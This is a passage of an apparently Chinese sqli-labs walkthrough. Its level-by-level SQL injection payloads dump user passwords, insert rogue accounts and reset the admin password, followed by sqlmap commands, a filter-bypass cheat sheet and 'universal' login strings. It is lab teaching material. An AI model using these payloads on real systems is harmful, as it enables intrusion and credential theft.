  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 作用:从 XML_document 中提取符合 XPATH_string 的值,当我们的 XPath_string 语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的 group_concat 作用一样

下面已将该报错注入代码给到大家,在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本
 
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 
 爆字段名
 
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                      爆字段内容。

updatexml 报错注入

UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

当我们 XPath_string 语法报错时候就会报错,updatexml() 报错注入和 extractvalue() 报错注入基本差不多。

下面已将该报错注入代码给到大家,最后爆字段和上面一样如果加一个中间表。

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#     爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#    爆数据库
 
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#      爆表名

123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
   爆字段名
 
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
 
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容。

group by 报错注入

group by 报错可以看这个文章,此文章博主写的很清楚。这个报错注入比前面两个复杂一点。

深入理解 group by 报错注入:https://blog.csdn.net/m0_53065491/article/details/121893986

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#     爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#      爆数据库版本
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#    通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#        爆出所有表

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#    爆出所有字段名

1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#    爆出所有字段名
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#    爆出该账户的密码。

sqli-labs 第 18 关 ( header 注入点 ua、结合 burpsuite 分析 )

这关我们直接看到看到页面有一个ip,简单看一下源码,发现对于输入的账户名和密码都有进行检查,但是往下看会发现一个插入的 sql 语句,当我们输入正确的账户名和密码时 User-Agent 字段内容就会出现在页面上。所以可以从这上面下功夫

当我们在 User-Agent 后面加上单引号出现如下报错,可见插入语句是将 ua 字段内容和 ip 地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。

所以我们可以构造如下数据,页面显示正常。可以将其他参数换成sql语句进行报错注入

大家可以自己报错注入方式进行注入,updatexml 和 extractvalue 报错注入爆出来的数据长度是有限的。

1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users),0x5c)))#   爆账户密码。
1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#   爆账户密码。

sqli-labs 第 19 关 ( header 注入点 referer )

十九关当我们输入正确的账户密码时 referer字段内容会显示在页面上。该插入的 sql 语句有两个参数一个是 referfer,还有 ip 地址。下面代码可以报错账户密码。前面的大家自己构造了。

1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#

sqli-labs 第 20 关 ( header 注入点 cookie  )

第二十关当我们输入正确页面时候 cookie字段显示在页面上,进行抓包。进行注入

'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#

sqli-labs 第 21 关 ( cookie 字段 base64 编码 注入 )

第二十一关和二十关很像,唯一不一样就是 cookie 哪里不是账户名而是一串字符。有点经验就知道是 base64 编码,所以我们可以将单引号进行编码 jw== 可以发现报错并且还得有括号。

将注入代码进行编码,可以看到爆出账户密码。

')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#

sqli-labs 第 22 关 ( cookie 双引号 base64 编码 注入 )

第二十二关和第二十一关一样只不过 cookie 是双引号 base64 编码,没有括号。

sqli-labs 第 23 关 ( get 请求:单引号、注释被过滤 )

sqlmap:sqlmap --url="192.168.0.5/sqli-labs-php7/Less-23/index.php?id=1" --batch --dbs

第二十三关重新回到 get 请求,会发现输入单引号报错,但是注释符不管用。猜测注释符被过滤,查看源码果然被注释了

所以可以用单引号闭合,发现成功。之后可以使用联合注入。不过在判断列数时候不能使用 order by 去判断,需要用 ?id=-1' union select 1,2,3,4 or '1'='1 通过不停加数字判断,最后根据页面显示是三列,且显示位是2号。

注入点:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=1' or '1'='1 

爆 表名:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆 列名:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

爆 字段:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

sqli-labs 第 24 关 ( 二次注入 )

第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用 mysql_real_escape_string 函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用 sql 语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。

首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的 admin。

我们先注册一个账号名叫 admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,# 是为了注释后面的数据。

之后也用户名 admin'# 和密码是 123456 登录,进入修改密码页面。原始密码输入123456,新密码我输入的是 111111,可以看到密码修改成功。 

当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。

sqli-labs 第 25 关 ( or 和 and 被替换成 空 )

第二十五关根据提示是将 or 和 and 这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。这一关使用联合注入就可以了,information 里面涉及 or 可以写成infoorrmation。

  • 注入点:http://127.0.0.1/sqli-labs-php7/Less-25/index.php?id=1'
  • 双写绕过:http://127.0.0.1/sqli-labs-php7/Less-25/index.php?id=1' anandd '1'='2

?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

sqli-labs 第 26 关 ( 逻辑运算符,注释符、空格 都被 过滤 )

第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合。

  • 双写绕过:逻辑运算符或者使用&&和||替换。
  • 空格绕过:绕过空格限制方式:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,

我在 windows 和 kali 里面都用不了,可能是因为apache解析不了。只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入。

爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

爆字段:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆密码账户:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

sqli-labs 第 26-a 关 ( 联合注入、盲注 )

该关卡和二十六关差不多,多了一个括号。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注。

注入点:

  • http://127.0.0.1/sqli-labs-php7/Less-26a/index.php?id=1
  • http://127.0.0.1/sqli-labs-php7/Less-26a/index.php?id=1'

sqli-labs 第 27 关 ( 小写以及重写绕过、select 和 union 被过滤 )

二十七关和二十六差不多,不过二十七关没有过滤 and 和 or,过滤了 select 和 union,我们可以大小写绕过以及重写绕过。

爆表:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

爆字段:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0

爆密码账户:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0

sqli-labs 第 27-a 关  ( 小写以及重写绕过、select 和 union 被过滤 )

该关是双引号且页面不显示报错信息。过滤规则和二十七关一样。所以我们需要使用盲注和联合注入。

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

###?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1 

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

sqli-labs 第 28 关 ( 注释符、union、select 被 过滤 )

该关卡过滤了注释符空格还过滤了 union 和 select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1

sqli-labs 第 28-A 关 ( union、select 被过滤  )

该关卡只过滤 union+select 。其他没有过滤。

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

sqli-labs 第 29 关  ( union、select 被过滤  )

该关卡只过滤 union+select。其他没有过滤。

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

爆表:?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

爆字段:?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+

爆密码账户:?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+ 

sqli-labs 第 30 关

三十关和二十九关差不多,将单引号换成双引号

爆表:?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

爆字段:?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+

爆密码账户:?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 31 关

三十一关和三十关差不多,多了一个括号

?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 32 关 ( preg_replace 函数 过滤掉 斜杠,单引号、双引号 )

第三十二关使用 preg_replace 函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

?id=-1%df%27%20union%20select%201,database(),3%20--+
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 33 关

第三十二关和三十三关一模一样

sqli-labs 第 34 关 ( 宽字节注入 )

三十四关是 post 提交,使用 addslashes 函数对于账户和密码都进行转义,使用宽字节注入就行。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名 
1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户

sqli-labs 第 35 关 ( 换成十六进制编码 )

使用 addslashes 函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表 
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 36 关 ( 转义 )

使用 mysql_real_escape_string 函数对于特殊字符进行转义。id 参数是单引号,和前面三十二关一样

sqli-labs 第 37 关 ( 转义 )

三十七关是post提交,使用mysql_real_escape_string 函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名
1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户

sqli-labs 第 38 关 ( 堆叠注入 )

三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在 mysqli_multi_query 函数,该函数支持多条 sql 语句同时进行。

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+  查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+   查询密码账户

sqli-labs 第 39 关 ( 联合注入 )

id参数是整数,正常联合注入就行。

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users

sqli-labs 第 40 关 ( 单引号、括号闭合、联合注入 )

四十关id参数是单引号加括号闭合,然后使用联合注入就可以了

?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+

sqli-labs 第 41 关

四十一关和三十九关一样,id 是整数。

sqli-labs 第 42 关 ( 堆叠注入 )

四十二关是因为账户进行了转义处理密码没有做处理,数据库没有使用 gbk 编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。

login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login

sqli-labs 第 43 关 ( 单引号、括号闭合、堆叠注入 )

四十三关和四十二关差不多,就是密码参数是单引号和括号闭合的。

login_user=1&login_password=1'); insert into users(id,username,password) values ('44','less34','123456')--+&mysubmit=Login

sqli-labs 第 44 关

四十四关和四十二关一样

sqli-labs 第 45 关

四十五关和四十三关一样

sqli-labs 第 46 关 ( updatexml 报错 )

使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用 updatexml 进行报错。

?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))

sqli-labs 第 47 关 ( updatexml 报错注入 )

四十七关和四十六差不多,多了一个单引号闭合,可以使用报错注入

sqli-labs 第 48 关 ( 延时注入 )

四十八关和四十六一样只不过没有报错显示,所以使用延时注入。

sqli-labs 第 49 关 ( 延时注入 )

四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。

sqli-labs 第 50 关 ( 报错注入、堆叠注入 )

五十关和四十六关一样,可以使用 updatexml 进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以延时注入。可以借鉴三十八代码

sqli-labs 第 51 关 ( 引号闭合,可以报错注入,可以延时注入,可以堆叠注入 )

该参数单引号闭合,可以报错注入,可以延时注入,可以堆叠注入。

sqli-labs 第 52 关 ( 堆叠注入、延时注入 )

该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入。

sqli-labs 第 53 关 ( 堆叠注入、延时注入 )

该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。

sqli-labs 第 54 关

五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行。

 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名

注意上面这个是我查到的表名,每个人不一样的表名,代码需要更改表名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='8fof1zun81'--+  爆列名

字段名也是不一样的,我们需要获取secret_31F4,所以每个人的列名也需要改。 

?id=-1%27union%20select%201,group_concat(secret_31F4),3%20from%208fof1zun81--+  获取key值

下面输入框点击提交,就完成所有步骤。

sqli-labs 第 55 关

五十五关是有14次机会,id参数是加了括号的整数

?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+   报表名
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='69jwmv27j9'--+ 爆列名
?id=-1) union select 1,group_concat(secret_D1DW),3 from 69jwmv27j9--+  获取key值

sqli-labs 第 56 关

五十六关和前面两关类似需要单引号和括号。

?id=-1')%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+  爆表名 
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='9ze4qmv307'--+ 爆列名
?id=-1') union select 1,group_concat(secret_CTVR),3 from 9ze4qmv307--+  获取key值

sqli-labs 第 57 关

五十七关就是双引号闭合 

sqli-labs 第 58 关

五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8edjk8ipbk'),0x7e),1)--+
爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_6W8M) from challenges.8edjk8ipbk),0x7e),1)--+

sqli-labs 第 59 关

五十九关和五十八关一样使用报错注入,id是整数型。

sqli-labs 第 60 关

六十关根据报错信息可知id参数是双引号加括号。

sqli-labs 第 61 关

六十一关根据报错信息可知id参数是单引号加两个括号。

sqli-labs 第 62 关

六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。具体代码往上翻

第五关(布尔盲注),第九关(时间注入)

?id=1%27) and if(length((select database()))=10,sleep(5),1)--+  时间注入,如果出现延迟表示该数据库名长度是10 
?id=1%27)and length((select database()))=10--+  布尔盲注

sqli-labs 第 63 关

 六十三关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。第五关(布尔盲注),第九关(时间注入)

sqli-labs 第 64 关

和前面两关一样,id参数是两个括号的整数型。

sqli-labs 第 65 关

和前面关卡差不多,id参数是一个括号的整数型。

3、使用 sqlmap 注入

sqlmap 官网:http://sqlmap.org/
sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap 使用 思维导图:http://download.csdn.net/detail/freeking101/9887831

黑帽与白帽都喜爱的十大SQL注入工具:http://www.aqniu.com/industry/1449.html
国内外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822

SQL注入攻击与防御:https://www.jianshu.com/p/ba35a7e1c67d

sqlmap 简介

sqlmap 是一个开源的渗透测试工具,可以自动化检测和利用SQL注入漏洞。目前支持的数据库有 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access 等几乎所有数据库,可以进行 注入、拖库,访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。

注入 方式

sqlmap 全面支持 6 种 SQL注入技术:

  • 基于 布尔类型的盲注 ( boolean-based blind ):根据返回页面,判断条件真假的注入。适用场景:没有数据回显,条件正确时有结果,条件错误时没有结果。利用方法:构造判断条件,逐个猜测(盲猜) ( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=45: )
  • 基于 时间的盲注 ( time-based blind ):当不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行( 即页面返回时间是否增加 )来判断。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=46: )。场景:当不能sql注入没有回应时,假设可以延迟 5s在执行,如果延迟5s后执行了构造的sql,说明可以sql注入。
  • 基于 报错注入 ( erroe-based ):页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。主要是利用 sql 语法错误,返回错误信息,错误信息中包含敏感信息。( :7.5-dnslog注入_哔哩哔哩_bilibili )
  • 基于 联合查询注入 ( UNION query-based ):在可以使用 Union 的情况下的注入。
  • 基于 堆查询注入 ( stacked queries ):可以同时执行多条语句时的注入。
  • 基于 带外注入 ( out-of-band 即 OOB ):就是非应用内通信注入,比如 dnslog。构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
  • 宽字节 注入:利用 gbk 是多字节的编码,两个字节代表一个汉字

get 方式 注入

用法:sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1"
探测数据库:sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --dbs
探测当前数据库:sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --current-db
探测表名:sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users
探测字段名:sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users --columns
探测字段值:sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -C password,username --dump

post 方式 注入

用法:sqlmap -u "http://192.168.116.128/sqli-labs/Less-11/" --data="uname=1&passwd=2&submit=Submit"

也可以抓取 http 数据包保存为 post.txt 文件,执行 sqlmap -r post.txt

Tamper 脚本 注入

在 usr/share/sqlmap/tamper 目录下有各种脚本文件。sqlmap 可以指定脚本进行过滤。可自定义脚本。sqlmap -u "http://192.168.116.128/sqli-labs/Less-28/?id=1" --tamper="sqli-labs-28.py" --dbs

指定 sql 语句 注入

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --sql-shell

指定参数注入

-‌-level: 设置测试的等级,一共有5级。
   1:默认
   2:检测cookie
   3:检测user-agent
   4:检测refere
   5:检测host

sqlmap -u "http://192.168.116.128/sqli-labs/Less-20/" --cookie "uname=admin" --level 2

sqlmap -r cookie.txt -p cookie --level 2 --dbs

具体命令可以参考:https://zhuanlan.zhihu.com/p/485603130

"过滤、绕过"

注入最头痛的就是遇到过滤,sqlmap 提供了字符转换的功能 --tamper=between
当然自己可以改写转换内容,文件在 /tamper 目录下。
关于 post 注入 sqlmap 可以用 -r 参数 加载数据包:sqlmap.py -r post.txt
having xor 等逻辑符号也可以判断注入。

可以用 burpsuite 的 intruder 的字典跑

关键词 过滤

大小写 绕过,双写 绕过,编码 绕过。例如 ununionion,selselectect,uniunion selecton select,UnIon,SelECT

空格 过滤

使用 括号 代替 空格(报错注入),使用 两个空格,使用 Tab 代替 空格,使用 回车,使用 %0a 使用 /**/ 代替 空格

逻辑 运算符 过滤

or使用||代替,and使用&&代替 ,xor使用|代替,not使用!代替

注释符 过滤

使用 And '1'='1, %23

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1(sqli-labs27-a关)

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0(sqli-labs26关)

引号 过滤

使用十六进制,宽字节
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+(sqli-labs32关)

逗号 过滤

在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号

1. 对于substr、substring()和mid()方法可以使用from的方式来解决

?id=1'and ascii(substr((select database()),1,1))=115--+

?id=1'and ascii(substr((select database())from 1 for 1))=115--+

2.使用 join

union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b

?id=-1' union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)--+

4.limit中,使用 offset 绕过

limit 1offset0

等于号 绕过

1.使用 like
2.使用 !<> 因为 <> 是不等于
3.regrep (正则表达匹配)

4.between a and b :范围在a-b之间 (也可用于 = 绕过:id between 1 and 1 与 id = 1 效果相同)

?id=1'and length((select database()))=8--+

?id=1'and length((select database())) like 8--+

?id=1'and length((select database())) regexp 8--+

?id=1'and !(length((select database()))<>8)--+

?id=1'and length((select database())) between 8 and 8--+

函数 过滤

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

大于、小于、等于

1. greates(n1,n2,n3,...): 返回n中的最大值
?id=1'and greates(ascii(substr((select database()),1,1)),114)=115--+

2. least(n1,n2,n3,...): 返回n中的最小值

3. strcmp(str1,str2): 若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个参数,则返回-1,其他情况返回1

4. in 关键字,str1 in str2 字符串1是否在字符串2中

http 参数 污染 绕过

函数检查的时候只检查第一个参数,但是$id=$_GET['id']取的是最后一个id,所以我们只需要把payload放在后面的id就好。

?id=1&id=-2%27 union select 1,group_concat(column_name),3 from%20information_schema.columns where table_schema=database() and table_name='users'--+(sqli-labs29关)

SQL 注入 防御

1. 采用预编译
2. 采用正则表达式过滤转义输入的参数

sql 注入 常用函数

 关键字:SQL 注入 函数

SQL注入教程:https://zhuanlan.zhihu.com/p/320579411

sql 注入常见函数(附图详解):sql注入常见函数(附图详解)_sql注入常用函数分类-CSDN博客

常见万能密码

"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00

一些常用函数

1, 作用:返回当前登录mysql数据库的用户
        user(); system_user(); current_user(); session_user();
        mysql用法:select user();

2,作用:查看当前数据库的版本
        version();
        用法:select version();

3,作用:查看当前使用的库名
        database();
        用法:select database();

4,作用:返回数据库的存储目录
        @@datadir;
        用法:select @@datadir;

5,作用:查看服务器操作系统
        @@version_compile_os; 
        用法:select @@version_compile_os;

6,作用:链接两个字符串并传入数据库(多列转换成一列显示)
        concat(str1,"分隔符",str2) 
        实例:select concat(name,"`",sex) from table_name;

7,作用:用分隔符链接,多个字段的字符串(多列转换成一列)
        concat_ws("~",str1,str2);
        用法:select concat_ws(字段名,字段名) from 表名;

8,作用:将多行查询结果以逗号分隔全部输出(多行转换成一行显示)
        group_concat(str1,str2)
        用法:select group_concat(str1,str2) from table_name;
        实列:select group_concat(字段名,字段名) from 表名;

9,作用:从一个字符串中截取指定数量的字符
        mid();  | substr();  | substring(); 
        在mysql数据库中,可以和前面的concat concat_ws 结合使用
        用法:select mid(column_name,start,length)
        colunm_name:字段名
        start:起始位置以数字表示(1)
        length:截取的长度
        实列:select mid(group_concat(neme,sex),1,5)from 表名;  

10,作用:从某个值开始,取出之后的N条数据的语法 (返回结果中的前几条数据或者中间的数据)
        limit() 函数
        用法:select * from 表名 limit M,N
        m是:指从m位开始(第一位为0)
        n是:指取n条
        11,字符串处理
        substr(),substring(),mid():用法基本相同,截取字符串的一部分
        语句:select substr(database(),1,3);
        解释:截取database()返回的结果,从第一个自负开始截取三个
        说明:substr(a,b,c);截取字符串
